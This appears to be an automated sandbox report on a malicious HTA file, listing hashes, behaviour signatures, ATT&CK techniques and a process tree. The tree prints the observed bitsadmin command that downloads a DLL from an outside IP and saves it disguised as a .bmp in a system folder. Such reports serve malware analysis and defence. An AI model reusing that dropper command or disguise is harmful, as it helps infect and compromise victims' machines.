8bf4c4fac6785e89cd4c3d1a24083fd1f3f1439375caa4acc1ccee72af2fa7bf

Analysis

max time kernel
144s
max time network
145s
platform
windows10-2004_x64
resource
win10v2004-20221111-en
resource tags

arch:x64arch:x86image:win10v2004-20221111-enlocale:en-usos:windows10-2004-x64system
submitted
07/02/2023, 08:43

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General

Target
azienda_05.hta
Size 6KB
Sample230207-kmklwsae76
SHA256 1f3fddaed498c61952e457b3db46ad7438ca43fdbf7593c02ea52ab2b170fa59
MD5 6e245f764fc232e709ab229d597da208
SHA1 f9ab537d3aeb31211eea9ecaeb3c8e38359a41f3
SHA512 587130fa574be08cd765292b6f4c909fbf318eb58e69b0cf108f998b7d416acaf65c85f909a0cb69704782140d780bb860511554412293af7cfe286e95728dbe
SSDEEP 96:w9FewLVTUoPg2pwTEeD4b7KdaO3iOaLt3M8Mn3XTPMJsb0ODcFE+Voq3V4dj296f:gw2U77rIKdn863jMM0OD9+VVF48xYkuX
MD5 SHA1 SHA512 SSDEEP

Score

8^/10

Malware Config

Signatures

Blocklisted process makes network request 6 IoCs

flow	pid	Process
12	1112	mshta.exe
14	1112	mshta.exe
19	1112	mshta.exe
22	1112	mshta.exe
25	1112	mshta.exe
41	1112	mshta.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2386679933-1492765628-3466841596-1000\Control Panel\International\Geo\Nation	mshta.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Download via BitsAdmin 1 TTPs 1 IoCs

dropper

BITS Jobs

T1197

pid	Process
2416	bitsadmin.exe

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 1112 wrote to memory of 2416	1112	mshta.exe	83
PID 1112 wrote to memory of 2416	1112	mshta.exe	83
PID 1112 wrote to memory of 2416	1112	mshta.exe	83

C:\Windows\SysWOW64\mshta.exe
C:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\azienda_05.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
1⤵
- Blocklisted process makes network request
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:1112
- C:\Windows\SysWOW64\bitsadmin.exe
  "C:\Windows\System32\bitsadmin.exe" /transfer 8 http://193.0.179.30/azienda.dll C:\Windows\\System32\\LogFiles\\\login.bmp
  2⤵
  - Download via BitsAdmin
  PID:2416

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

BITS Jobs

T1197

Privilege Escalation

Defense Evasion

BITS Jobs

T1197

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

Replay Monitor

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Downloads